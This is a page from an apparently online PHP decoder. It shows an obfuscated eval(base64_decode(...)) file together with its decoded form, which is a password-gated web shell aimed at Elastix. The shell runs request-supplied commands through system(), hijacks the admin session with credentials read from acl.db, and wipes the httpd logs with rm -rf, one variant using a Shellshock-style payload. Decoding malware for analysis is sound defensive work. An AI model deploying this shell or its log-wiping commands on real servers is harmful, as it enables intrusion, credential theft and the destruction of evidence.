Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('aWYobWQ1KCRfUkVRVUVTVFsncCddKT09JzQ4ZjYxMjAyY2YwODQ5ZGE5MmMzYmV..

Decoded Output download

if(md5($_REQUEST['p'])=='48f61202cf0849da92c3bea5a2934489') 
{
@system($_REQUEST['c']);
include_once "/var/www/html/libs/paloSantoDB.class.php"; 
include_once "/var/www/html/libs/paloSantoACL.class.php"; 
$pDB = new paloDB("sqlite3:////var/www/db/acl.db"); 
$db = $pDB->fetchTable("SELECT name, md5_password,extension from acl_user WHERE id ='1'"); 
session_name("elastixSession"); 
session_start(); 
$_SESSION['elastix_user'] = $db[0][0];
$_SESSION['elastix_pass'] = $db[0][1];
@system('() { :;}; /bin/bash -c "rm -rf /var/log/httpd/*"');
@system('/bin/bash -c "rm -rf /var/log/httpd/*"');
@system('sudo rm -rf /var/log/httpd/*');
@system('rm -rf /var/log/httpd/*');
echo '<a href="/" >Admin</a>';
}
else
{
echo 'Dead_Sec_Team' ;
}

Did this file decode correctly?

Original Code

<?php
eval(base64_decode('aWYobWQ1KCRfUkVRVUVTVFsncCddKT09JzQ4ZjYxMjAyY2YwODQ5ZGE5MmMzYmVhNWEyOTM0NDg5JykgDQp7DQpAc3lzdGVtKCRfUkVRVUVTVFsnYyddKTsNCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0RCLmNsYXNzLnBocCI7IA0KaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvQUNMLmNsYXNzLnBocCI7IA0KJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IA0KJGRiID0gJHBEQi0+ZmV0Y2hUYWJsZSgiU0VMRUNUIG5hbWUsIG1kNV9wYXNzd29yZCxleHRlbnNpb24gZnJvbSBhY2xfdXNlciBXSEVSRSBpZCA9JzEnIik7IA0Kc2Vzc2lvbl9uYW1lKCJlbGFzdGl4U2Vzc2lvbiIpOyANCnNlc3Npb25fc3RhcnQoKTsgDQokX1NFU1NJT05bJ2VsYXN0aXhfdXNlciddID0gJGRiWzBdWzBdOw0KJF9TRVNTSU9OWydlbGFzdGl4X3Bhc3MnXSA9ICRkYlswXVsxXTsNCkBzeXN0ZW0oJygpIHsgOjt9OyAvYmluL2Jhc2ggLWMgInJtIC1yZiAvdmFyL2xvZy9odHRwZC8qIicpOw0KQHN5c3RlbSgnL2Jpbi9iYXNoIC1jICJybSAtcmYgL3Zhci9sb2cvaHR0cGQvKiInKTsNCkBzeXN0ZW0oJ3N1ZG8gcm0gLXJmIC92YXIvbG9nL2h0dHBkLyonKTsNCkBzeXN0ZW0oJ3JtIC1yZiAvdmFyL2xvZy9odHRwZC8qJyk7DQplY2hvICc8YSBocmVmPSIvIiA+QWRtaW48L2E+JzsNCn0NCmVsc2UNCnsNCmVjaG8gJ0RlYWRfU2VjX1RlYW0nIDsNCn0='));
?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 52b47ccfb5b41972452b760cd02b34cb
Eval Count 1
Decode Time 130 ms